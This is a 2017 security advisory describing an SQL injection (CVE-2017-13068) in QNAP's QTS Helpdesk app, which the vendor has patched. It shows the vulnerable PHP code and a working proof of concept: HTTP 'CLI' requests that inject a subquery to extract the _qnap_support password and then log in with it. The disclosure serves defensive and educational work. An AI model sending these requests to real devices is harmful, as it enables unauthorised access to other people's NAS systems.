SSD Advisory – QNAP HelpDesk SQL Injection

blogs.securiteam.com/index.php/archives/3469

SSD / Maor Schwartz October 9, 2017

Vulnerability Summary
The following advisory describes a SQL injection found in QTS Helpdesk versions 1.1.12 and earlier.

QNAP helpdesk: “Starting from QTS 4.2.2 you can use the built-in Helpdesk app to directly submit help requests to QNAP from your NAS. To do so, ensure your NAS can reach the Internet, open Helpdesk from the App Center, and create a new Help Request. Helpdesk will automatically collect and attach NAS system information and system logs to your request, and you can provide other information such as the steps necessary to reproduce the error, the error message and screenshots so we can identify the problem faster.”

Credit
An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
QNAP has released patches to address this vulnerability.

For more information: https://www.qnap.com/en/security-advisory/nas-201709-29

CVE: CVE-2017-13068

Vulnerability details
In order to trigger the vulnerability, a user needs to have `Remote Support` option enabled.

User controlled input is not sufficiently sanitized, by sending a CLI request to *www/App/Controllers/Cli/SupportUtils.php* an attacker can trigger an SQL injection and receive the password of the _qnap_support user.

Code which is responsible for checking permissions is commented:

```
1 ```
2 // if (strtolower(php_sapi_name()) !== 'cli') {
3 // $this->fileLogModel->logError('You can not use this function via web.', __FILE__);
4 // die('You can not use this function via web. File: ' . __FILE__);
5 // }
6 ```
```

We can access *registerExternalLog* which executes *setExternalLog*

```
public function registerExternalLog($appName, $appLogPath)
{
$supportUtils = $this->model('SupportUtilsModel');

if (file_exists($appLogPath) && is_dir($appLogPath)) {
printf("\r\n[%s] You should assign a log file, not folder.\r\n", colorize($appName, 'ERROR'));
} else if (file_exists($appLogPath) && !is_dir($appLogPath)) {
if ($supportUtils->setExternalLog($appName, $appLogPath)) {
printf("\r\n[%s] Log path %s was registered.\r\n", colorize($appName, 'SUCCESS'), colorize($appLogPath,
'SUCCESS'));
} else {
printf("\r\n[%s] Register external log failed.\r\n", colorize($appName, 'ERROR'), colorize($appLogPath,
'ERROR'));
}
} else {
printf("\r\n[%s] Log file not found.\r\n", colorize($appName, 'ERROR'));
}
}
```

We can see the SQL injection in *$appName* in *www/App/Models/SupportUtilsModel.php*

```
public function setExternalLog($appName, $appLogPath)
{
$now = time();
$queryStr = "INSERT INTO external_log (appName, appLogPath, createdTime) VALUES ('$appName',
'$appLogPath', '$now')";
$rowCount = 0;

try {
$rowCount = $this->db->queryNoneResult($queryStr);
} catch (\Exception $e) {
return false;
}

return $rowCount;
}
```

Proof of Concept
First we need to check if the remote support is enabled on victims machine. We can check by sending the following CLI request:

```
CLI /apps/qdesk/cli/supportutils/upload/a HTTP/1.1
Host: 192.168.1.55:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
```

If its not enable “Remote session is not enabled” text will be displayed.

Now we can trigger the SQL Injection by sending the following request:

````
CLI /apps/qdesk/cli/supportutils/applog/reg/bb',
(SELECT/*a*/cfgValue/*a*/FROM/*a*/configuration/*a*/WHERE/*a*/cfgKey='tempPw'),'149881968')/*/::/etc/passwd
HTTP/1.1
Host: 192.168.1.55:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
````

The server will response with

````
CLI /apps/qdesk/cli/supportutils/applog/list HTTP/1.1
Host: 192.168.1.55:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
````

And the output should look like:

````
| App Name | Log Path | Create Time |
| bb | BqGgseHn <-- this is password | 1974-10-02 01:52:48 |
`````

Now you can login as:
Login: _qnap_support
Password: Obtained from SQL Injection